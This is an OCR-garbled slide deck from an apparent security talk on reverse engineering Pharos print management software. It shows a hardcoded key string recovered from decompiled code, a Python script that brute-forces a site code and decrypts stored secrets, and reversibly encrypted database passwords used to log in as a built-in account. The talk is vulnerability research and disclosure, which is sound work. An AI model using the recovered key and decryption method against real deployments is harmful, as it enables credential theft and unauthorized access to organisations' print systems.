11 ¥-X$S-Protection: 1; mode=block

12 ¥-Content-Typs-Optlons: nosniff

13 Strict-Transport-Security: max-age=3153£000

14 Referrer-Folicy: same-origin

19 Feature-Folicy: microphons ‘nens'; geolocation nens'; camera neme!

16 Expect—CT: max-ag:
17 Date: Mon, 10 Jul :n:: 17
15 Connmection: close

19 Comtent-Length: 2590

0

21 (
"ConfigData:

"<EmailServerConfiguration> <Mai 1Typ=>n~asxaph</ MailType>

3£5.come/HostMame>  <Port>853</Por
Tuserianes  <Pammwordysr

|:>EEIEIEI</ EmailOperationTimeout> </ ImapSeCtings>  <PODISSCCIngss
7

'self'; script-sre 'self’
wss:; img-sre 'self' dat.
'self' 'unsafe-inline’; report-uri /PharusApJ/CuncencSEnurJEyFGUn‘{/VJGlaLmn

speaker 'none’

<Imapsettings>  <Hostliame>out Look.office

uritylevel> Tplicic</Securitylevel>  <UserNam:

S/Password>  <EmailOperationTimeou

SmostNeme:</Hoatlane) <Port 110
/

</B <SecurityLevel>Unsecure</SecurityLevels
(Ema)JO]JE,ra\:JDnTJmEDu\:)SDDD(/Ema)JOD?:ELJDnTunEDu\:)

uired>trus</AuthenRequirsd>

tyL=v=1>Epr1:1t</5=:u:1tyL=v=l> <UserNane:

</Pop3settings> <s.m:psau ings>  <AuchenReq
ostiame> smtp.office36s. com</HostName>  <Port>S87</Fort>  <Securd

sertiames | <Pasmvordsm
Password> | <EmailOperationTimeouc>3000</Emailoperat ionT imeouts  </3mtpSerTRGES

ath></Databas=Path>

TTTIngs
</Dnm1nnsett;mjs> <EwsSettings>

<Buthentication>Begular</Authentication>  <Tenantlds</Tenantlds

<Hostlame></HostName>  <Port>443</Port>  <Securitylevel>Implicit</Securitylevel>  <UserName

></UserName>  <Password></Passwords

<EmailCperationTimeout>5000</Emailoperat ionTimeout> </EwsSe

<EmailOpsrationTimeouts

trings> <GmailSettingss

5000</EmailoperationTimeout> </GmailSsttings> <MsGraphSectings>

<TenantId-8d

Ec</TemancTd>  <hpplicationld>dd 2</ipplicationld> <

Userame> /UserName>  <Password;ZON 5
vrk/FassvDrr» <EmailOperationTimeouts. TRaTIOPET At ToATIMETTE: TECTEpTSE

— TR Enai lAddresse Emailiddresss /Emaillddress>  <PagesP
TS ide>1</PagesPersides  <Honostruec/Momes  <huple>trus</Duplexs </Mobilopt intEmariAddressess

<HobilePrintEmailhddrssses>  <EmailAddresss

>1¢/PagesPerSide>  <Momostrue</Nono>  <Duplexsfalse</Duplexs

omatches | () {6} €[> | searcn.

/Emailhddre:

53 <Page:
</MebilePrintEnaildddressess <lioh

0 matches

5,795 bytes | 280 millis -




Encrypted Passwords?

// PharosSystems.Rest.API.MobilePrint.Data.Crypto
—lusing System;

us:ing PharosSystems.Communications.Extensions;

public static class Crypto
H{
static Crypto()
{

random = new Random();

salt = new byte[2];

saltStringlength = Convert.ToBase645tring(salt).Length;

encryptionkey = null;

encryptionIv = null;

productName = “Phareos Systems McbilePrint”;

SHA256CryptoServiceProvider sHA256CryptoServiceProvider = new SHA256CryptoServiceProvider();

byte[] array = SecretKey.GenerateCertHash(Encoding.UTF3.GetBytes(productName), (HashAlgorithm)new SHA256CryptoServiceProvider());
encryptionkey = sHA256CryptoServiceProvider.ComputeHash(array);

encryptionIv = ComputeMdSHash(array);

b

public static string Encrypt(string plainText)

{ return Encrypt(plainText, encryptionKey, encryptionIv);

b

public static string Encrypt(string plainText, byte[] key, byte[] iv)
= {

if (string.IsNullOrEmpty(plainText))

{

return plainText;

random. NextBytes (salt);

try

1
using AesCryptoServiceProvider aesCryptoServiceProvider = new AesCryptoServiceProvider();
ICryptoTransform transform = aesCryptoServiceProvider.CreateEncryptor(key, iv);
using MemoryStream memoryStream = new MemoryStream();
using CryptoStream stream = new CryptoStream(memoryStream, transform, CryptoStreamMode.Write);
using (Streamlriter streamWriter = new StreamWriter(stream))

streamWriter.Write(Convert. ToBasesdString(salt) + plainText):



Secretkey

Ry
View Window Help
2 U (Default) v im 48 §F C= v co/vsan vy | QT A O
BEY Viirt): string =

+ O, RD IRZAN
+ W, RG using System.Text;
+ ), RO
. m RS internal static string V(int ¥)
= & Ry Ty
# % :é i ((global::A.V.V[Y] & 0x80)
+ M, 56 num = global::A.V.Y[¥]s
+ i, so R
v M, 55 b
5 else if ((global::A.v.¥[Y] & oxd0)
v @, 57 ¢
+ % T AV.YIY] & -129) << B;
N AVYIY + 1]5
+ &, 6
w @ T
i, TV
‘i, 7 AV.Y[Y] & -193) << 26; |
em U AVY[Y + 1] << 165
iy AV + 2] << 8
Tau A
i, us 3
+ iy Uy if (num < 1)
+ i, uz {
Legy return string.Empty;

+ % BaseTypes .

o Derved Types string @string = Encoding.Unicode.GetString(global::A.V.Y, ¥, num);

& o , return string.Intern(@string);

&

Vo

D vo
«, (O
&, vp




Deddot To The Rescue!

< ¢ =
= O deddot / deddot
<> Code 11 Pullrequests 1

[D Files

9 master -

Q Gotofile

> I github

00 AssemblyData

B0 AssemblyServer-CLR20-x64

B9 AssemblyServer-CLR20

BB AssemblyServer-CLRA0-x64

I AssemblyServer-CLRAD

I AssemblyServer-x64

I AssemblyServer

B TestRename. DIl

B TestRename

B deddot-x64

B deddotblocks

B deddotcode

B deddoteui

B deddotmdecrypt

B deddot

M decbfuscator.Template
[ .editorconfig

O .gitignore

O copving

€) deddot/READMEmd at master

x ar

github.com/de4dot/deddot/blob/master/README.md

® Actions

[ Preview | code

G GO T2

Blame 204 linmes (129 loc) - 1@.4 KB

Description

deddot is an open source (GPLv3) .NET deobfuscator and unpacker written in C#. It will try its best to restore a packed and obfuscated assembly
to almost the original assembly. Most of the obfuscation can be completely restored (eg. string encryption), but symbol renaming is impossible
to restore since the original names aren’t (usually) part of the obfuscated assembly.

It uses dnlib to read and write assemblies so make sure you get it or it won't compile.

Binaries

Get binaries from the build server.

It's FREE but there's NO SUPPORT

There's no support. Den't email me if you can't use it or if it fails to decbfuscate a file obfuscated with an updated cbfuscator.

Instead, try to update deddot yourself. It's a lot easier than you think. If you can't, search the Internet and you should find a couple of forums
where you can ask your question.

Features

Here's a pseudo random list of the things it will do depending on what obfuscator was used to obfuscate an assembly:

a X

New Chrome available 3

Q. Type 7] to search > + -0 1 & i
J wiki @ Security |~ Insights
This repository has been archived by the owner on Oct 17, 2020. It is now read-only.
deddot / README.md (&
wtfsck Remove appveyor 9331f0. Syearsago ') History :

Rew B & £ ~ =




H{

SecretKey

/{ PharosSystems.Communications.Extensions.Secretkey
#define TRACE
+ using |...

SecretKey

public static class SecretKey

private static bool haveSecretKey;

private static byte[] hashEncryptKey;

private static byte[] aditionalEntropy;

private static readonly string registryKeyName;

private static readonly string registryKeyValue;

private static readonly string extraKey;

private static readonly string UnitTestkey;

public static bool HaveSecretKey => haveSecretKey;

static SecretKey()

{

}

public static void StoreNewKey(string key)

aditionalEntropy = new byte[5] { 12, 8, 37, 1, 79 };
registryKeyName = "SOFTWARE\\PharosSystems\\Communications";
registryKeyValue = "WcfSeed”;

extrakey = "TH#8wdF4K[csEgkbi";

UnitTestKey = "UnitTestKeyl23456789";

LoadKey ()

hashEncryptKey = GenerateHash(Encoding.UTF8.GetBytes(key + extraKey), new SHA1CryptoServiceProvider());
using (RegistryKey registryKey = RegistryKey.OpenBaseKey(RegistryHive.localMachine, RegistryView.Registry32))

using Registrykey registrykKey2 = registryKey.CreateSubKey(registryKeyName);
byte[] value = Protect(hashEncryptkey);




MobilePrint Decryption ~*

- SHA256(SHA256("Pharos Systems MobilePrint" +
SHA1(<site code> + "T%8wdF4K[csEgKbi")))

- Simple!

- Well, except for the site code...




Site Code

import Crypto.Cipher.RES as AES
import Crypto.Util.Counter
import binascii

import sys

import baseg4

from hashlib import shaZ25€
from hashlib import shal

from hashlib import mdS

from itertools import product

endstring = b"T%0wdF4E [csEgFRbi"

keystring = b"Pharos Systems MobilePrint™
fpasswordT%8wdF4K [csEgRbi

Li=['a’','b','c",'d",'e", "£','g",'h","i", "', 'k","1','m", 'n", ‘o

for per in product (L2, repeat = €):

for i in range (0,100):
testpass = b"" + "7 _Soin(per).encods () + "[:02d]".format (i) .encode ()

keypartl = shal (testpass + endstring).digest()

keypart2 = sha25¢€ (ksystring + keypartl).digest ()

finalkey = sha256€ (keypart2).digest ()

fprint (binascii.hexlify(finalkey))

#key = binascii.unhexlify("&3L

fkey = shal256(keystring) .digest ()

iv = md5(keypart2) .digest()

decryptor = AES.new(finalkey, AES.MODE_CBC, iv)

apikeydec = base€4.b64decode ("aC

out = decryptor.dscrypt{apikeydec)

if out[l7:].isascii():
P R T p——————

L2=['aA",'B','C','D','E',F','G",'H','I","J', "K', 'L','M","N','O","B','Q","R', "8, "T', U, V', "W, "X','¥","2"]
B'.ta’, ', s, e, T, v,

W', x', 'y, 2]

BE")

-y




Decryption Complete

32vemd.exe

ppython aes-decrypt-pharos-mobile.py sH G --
Decryption key:

b*cB883182d2ccdfed71fel5540dab
Decrypted:
b ! I

7"

E:y

I I r____—_l
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A hardcoded 25N
PO password is wo

i thousand words-



Fresh Database Install - Users Table

,_JQ SOLQuery1.sql - 192.168.136.89.pharos (sa (68)) - Microsoft SOL Server Management Studio

File  Edit Project  Tools  Window
S0 8- 02 e BNy B @

View Help

Execute

S

oW Nl

Object Explorer

Connect~ * k!‘

(VIS

> 0 x

@ |

o

bo.scan_transactions
bo.schedule_reservations
bo.scripts
bo.servers
bo.service_types
bo.services
bo.severities
bo.signup_global
bo.signup_services
bo.spool_gqueues
bo.startup_notices
bo.stop_words
bo.surveyor_queries
bo.system
bo.terminals

A dbo.text_temp

A dbo.transaction_id

M dbo.transaction_print_attributes

M dbo.transaction_purses

MR dbo.transaction_types

B dbo.transactions

A dbo.transfer_transactions

iikdbo.users

A dbo.users_balances

A dbo.valid_attributes

M dbo.valid_billing_methods
Dropped Ledger Tables

Views

50LQueryT.sql - 19

9.pharos (sa (68)) & X

—ISELECT TOP (1688) [user_id]
,[active]

100 %

A Resutts

user_id

<

.[id]

»[billing option]

»[last_name]

,[first_names]

»[group_id]

. [password]

,[address]

. Tphone]

, [comment]

»[rate_id]

.[card_id]

s[offline_limit]

,[user_alias]
Fmiddle initiall

B Messages
active id
1 offline
1 edicashier

password
5QGsIFMBXpWe RiwiS/6eEBixvifwMwZanl5al .
QsIPMBXpWeRwi9/6eEERx I vifwhwZanl5al .

billng_option ... fir_. grou
Amears N N.. -1
Amears N N. -1

@ Query executed successfully.

address
NULL
NULL

Quick Launch (Ctrl+Q)

phone  comment
NULL

NULL

192.168.136.88 (16.0 RTM)  sa (68)

Offline - Used by DB connectivity when DB server offline
Cashier - Used by Pharos EDI service

pharos

rate

NU

NU

00:00:00 | 2 rows

>




Password Hashing?

EH Resuts B Messages
user_jd  active id billing_option  last_name  first_names group_id password
i1 offline Amears MULL MULL 2(10sIPMBXpWeRwiS/ 6cEERx 1vtfwMwZgnl63UGWLLSa/TI/ ...
f 1 edicashier Amears MLULL MULL s(3Qs| P MBXpWeRwiS 6cEEhwx 1vtfwMwZgn 63UGWULSa T/ ...
1 admin Amears MULL admin h575WMIpYcAFmEBMcIOp AmDS0pXaw RS
1 demo Advance name test CClgktLeR¥ibwbpHbJA1BO==
1 pharogadmin ~ Advance MULL ppp h575VMOpYcAFmEBMcIOp AmDS0pXaw RS




omparisons

CCOgKtLeRXibwspHDIALE

00000000 - *OBEx>A3Gl 5

CCOgKtLeRXj3wgpqxCj/gF8dFrox13Eq

E 00000000 - *QPEx<A JA(V
00000010 _ mlxg*

CCOgKIL

00000000 £ - *QBE: SR (¥
00000010 7 jwe T 9/0




Password Eneryption

- Generally you should hash a password not
encrypt it
- What algorithm?

- What's the encryption key? 6

o-l—al—%




Show Me The Code!

X IDA - DBServerexe.64 (DEServer.exe) Ex\phar\Bin\DBServer.exe.i6d

Fle Edit Jump Search View Debugger Lumina Optiens Windows Help
BEie->- 80 S 8 R D ke P X[ Local Windows cebugger | el [P © (] f*
T

Y I

Library function [ll Regular function [l Instruction [ Data M Unexplored = External symbol [l Lumina function

{1 I | I :

08 x IDA View-A Breskpoints Strings B G tHexvew1 A stuctres @ F Ewms

]| Address Type String
rdata:006A. fionChediSalList
rdata:006A DBServer: TextTemplnsert]
rdata:006A. mDBServer: Execsal
rdata:006A 501] parameter %s with type %d not supported
rdata;006A. Deserver
rdata:006A. mDBServer: GetlicenseSur
rdata:008A mDEServer  GetsQLConnectioninfa
rdata:006A. mDBServer: SetfowCount
rdata:006A mDBServer: UserPasswordverify
rdata: 006, verify
d

Function name.
F] sub_saD705

A,
A 00: ify]

lata: 006/ 00000078 DBServer::UserPasswordverify] ResetConnection and try again
rdata:006A... 0000003C DBServer::UserPasswordVerify]

.rdata:006A... 00000024 mDBServer::GetUTC

rdata:006A... 00000030 mDBServer::GetUTC = %ld

rdata:006A... DDD00034 mDEServer: SurveyorOnine

.rdata:006A... 0000000E Active

rdata:006A... 00000010 ientSur

.rdata:006A... 00000032 mDBServer::Serverversion

rdata:006A... 00000076 DBServer::OnConnected] Machine Name: %s. Application: %s.
.rdata:006A... 00000034 mDEServer object created.

rdata:006A... 00000D1E oadcastMessage

.rdata:006A... 00000012 tioninfo

.rdata;:006A... 00000018 tlicenseSvr

rdata:006A... DDD00014 RowCount

.rdata:006A... 00000016 Templnsert

rdata:006A... 0000001E PasswordVerify

.rdata:006A... 00000010 Version

rdata:006A... 00000010 IServer

.rdata:006A... 00000022 «cesslevelCompare

rdata:006A... 00000014 tGetCount

7| sub_6ADEED

Line 11096 of 11096 57 .rdata:006A.. 00000010 tinsert
.rdata:006A... 00000018 tistDetail

k. Graph overview rdata:006A.. 0000001A HistDetsil2

\rdata:006A... 00000020 yManagementZone
rdata:006A... 00000026

.rdata:006A... 00000020

rdata:006A... 00000DIE

.rdata:006A... 00000020 chivenlertPurae

Line 38 of 8313

Global rules in E:\ida\plugins\finderypt3.rules
User-defined rules in C:\Users\IEUser\AppData\Roaming\Hex-Rays\IDA Pro\plugins\findcrypt-yara/*.rules

Pythen 3.11.3 (tags/v3.11.3:f3909b8, Apr 4 2023, 23:49:59) [MSC v.1934 64 bit (AMDE4)]
IDAPython 64-bit v7.4.8 final (serial @) (c) The IDAPython Team <idapython@googlegroups.com>

Python ||

AU: idle Down Disk: 33GB




That Was Easy

mAviewa B Breakpoints Strings B Hexview-1 A structures

I

loc_468683:

lea eax, [ebp+var_2C]

push eax ; int

call sub_aa09ca

xor esi, esi

add esp, 8
[ebp+var_24], B@FBBEA39Ah
[ebptvar_2@], BABAFAEBSh
[ebp+var_1C], @ABAFAEBSh
[ebp+var_18],
[ebp+var_38],

push eax
mov ecx, ebx
; } // starts at 46@5DA

bl e =

ity {

mov byte ptr [ebp+var_4], 4
call sub_G3AE9@

loc_46864B:
test eax, eax
jnz short loc_46@0691

eax, [ebp+var 24]

eax

[ebp+var_38] ; plaintext pw
bp+

encrypticnsub?
dword ptr [eax] ; psz
ecx, [ebp+var 3C] ; get the output spot ready)|

100_00% (1287,22218) (1015,164) 0005FALE 00000000004€0€1€: pwverify?+166é (Synchronized with Hex View-1)




It’s Always DES (It Wasn’t)

% - Encryption with an 8 Byte block size
- ECB (or CBC with a fixed 1V)
- Only one block cipher that uses 8 byte:

@ - DES

. Or Triple DES

- Neither one worksl!




Back ToIDA

Library function [l Regular function [l Instruction Data Unexplored External symbol [l Lumina function

Functions O e x maview-n B W Fndayptresuts [ Breskpoints  [] Strinas x B Hexview-1

abx, [ebpresi®dearg 77
Function name ~ b, o 1
et

__pow_default edx, [:bp.en-u..-r 8]
_test_whether_TOS_is_int esl, ch
___criwsetenv
_copy_environ_0
_wiindenv

___createFile
__sopen_helper
__wsopen_nolock P
sub_675A3E

L
F7
F2
r
F2
F
Fi
z [edi] fand ecx, de:duord 73ABM
F | __Cllog_pentium4 [edisa]
1| start 8 boo i fesiatny
dl
F | S (R e » byte ptr [ebprebx*devar_sos1]
F | __pow_pentium4 b L= e
F | __chsize_nolock L dh o
byte ptr [ebprebx®devar_soel] ebx, dsiRiinDael AES_73Ad08[ea
f Bh eax, ¢l
F2
F i
F2
L
7
L
F
F2
L
F7
<

__get fmode 2

__setmode_nolock . ; v o dechidnbeet AES 7B
InethitopW ‘ - [eewnrnl, 8
__Xtime_get_ticks byte ptr [ebpeebx®devar sbel]
sub_676809 i, ebx ds:Rijnbae]_AES_73ad08[ea
std::set_news_handler(void (*)(void)) » brte ptr [ebpeli®asvar_s8.1)

sub_676850 : :"J

1
sub_676C00 + byte ptr [ebprebx*asvar_se1] . ds:RijnDael_AES_73A488[ eax*a]
h eax, [ebpsvar 18]
sub_676C30 o edi, ebx
dh
SUh_ﬁ?ﬁDED . byte ptr [ebpeebx®ds . ds 'S5 _73A488[ eax*a]
1ah 3

sub_676E50

16h
, dl [ebpevar_2C], edi
eex, 16h

Line 11096 of 11096 § " byte pir [ebprebadouar ccx, ds:RijnDael_AES 73A408[cax*4
.8  ade

A, Graph overview <, eby

"
te ptr [sbpeeds®devar
x

ol
a1
| byte ptr [ebprebumdivar_s041] . ds:RijaDas]_AFS_73048[ eax*a]
3h eax, [ebpevar_18]
I esi, ebx .8
wovzx  ebx

dh
povix  ebx, byte ptr [ebpsebx®devar_spel]
skl eb. 16

var_38], ecx
hov  ecx. ds:RifnDeel AES T2A4B81e:

51.20% (-312,5151) (910,48) 0026EE10 000000000066FR10: actualaesfunc:loc_66FALO0 (Synchronized with Hex View—1)




It’s Always DES (It Wasn’t

- Who's heard of SAFER-SK128?

SAFER Mp 8languages v

Article  Talk Read Edit View history Tools

From Wikipedia, the free encyclopedia

This arficle is about the encryption algorithm. For other uses of the acronym, see SAFER (disambiguation)

In cryptography. SAFER (Secure And Fast Encryption Routine) is the name of a family of block ciphers designed primarily by James Massey (one of
the designers of IDEA) on behalf of Cylink Corporation. The early SAFER K and SAFER SK designs share the same encryption function, but differ in the
number of rounds and the key schedule. More recent versions — SAFER+ and SAFER++ — were submitted as candidates to the AES process and the
NESSIE project respectively. All of the algorithms in the SAFER family are unpatented and available for unrestricted use

SAFER K and SAFER SK [edt)

The first SAFER cipher was SAFER K-64, published by Massey in 1993, with a 64-bit block size. The "K-
64" denotes a key size of 64 bits. There was some demand for a version with a larger 1238-bit key, and the
following year Massey published such a variant incorporating new key schedule designed by the Singapore
Ministry for Home affairs: SAFER K-128. However, both Lars Knudsen and Sean Murphy found minor
weaknesses in this version, prompting a redesign of the key schedule to one suggested by Knudsen; these
variants were named SAFER SK-64 and SAFER SK-128 respectively — the "SK" standing for
"Strengthened Key schedule”, though the RSA FAQ reports that, "one joke has it that SK really stands for
'Stop Knudsen', a wise precaution in the design of any block cipher” [l Another variant with a reduced key
size was published, SAFER SK-40, to comply with 40-bit export restrictions.

All of these ciphers use the same round function consisting of four stages, as shown in the diagram: a key-
ng stage, a substitution layer, another key-mixing stage, and finally a diffusion layer. In the first key- The S;;FER'KEH& SAFER SKmun'd
ng stage, the plaintext block is divided into eight 8-bit segments, and subkeys are added using either function.
addition modulo 256 (denoted by a "+" in a square) or XOR (denoted by a "+" in a circle). The substitution
layer censists of two S-boxes, each the inverse of each other, derived from discrete exponentiation (45%)
and logarithm (logsx) functions. After a second key-mixing stage there is the diffusion layer: a novel cryptographic component termed a pseudo-
Hadamard transform (PHT). (The PHT was also later used in the Twofish cipher.)




er-virtual-machine:

xample decrypt:
b'12345678912345"

er-virtual-machine:

ple decrypt:

bropiscas N o'

use ser-virtual-machine:

Deeryption Suecess

$ python3 aes-decrypt-pharos-db.py CCBgKtLeRXj3wgpgxCj/gB73n5mwGs9bv88n,/ye2l28=
$ python3 aes-decrypt-pharos-db.py sQQsIPMBXpWeRwi9/6cEEihx1vtfwtwzqnIe3ucw (GG

s 1




Edicashier

My Print Center x +

://192.168.136.89/myprintcent

@ Help | Welcome edicashier ¥

My Printing Custom Charges

ansactions  Alert
i Refresh  + Create
Logon ID Last Name First Name(s) Alias Role Group Account Balance Emnail(s)
admin admin admin Administrator public $0.00

public $0.00

pharosadmin public $1.00

)l 1-3of3items

© Copyright 2024 - Powered by Pharos®




Does anyone have
any questions?

wesley@exfiltrated.com

Wesley Wineberg

CREDITS: This presentation template was created by
Slidesgo, including icons by Flaticon and infographics &
images by Freepik
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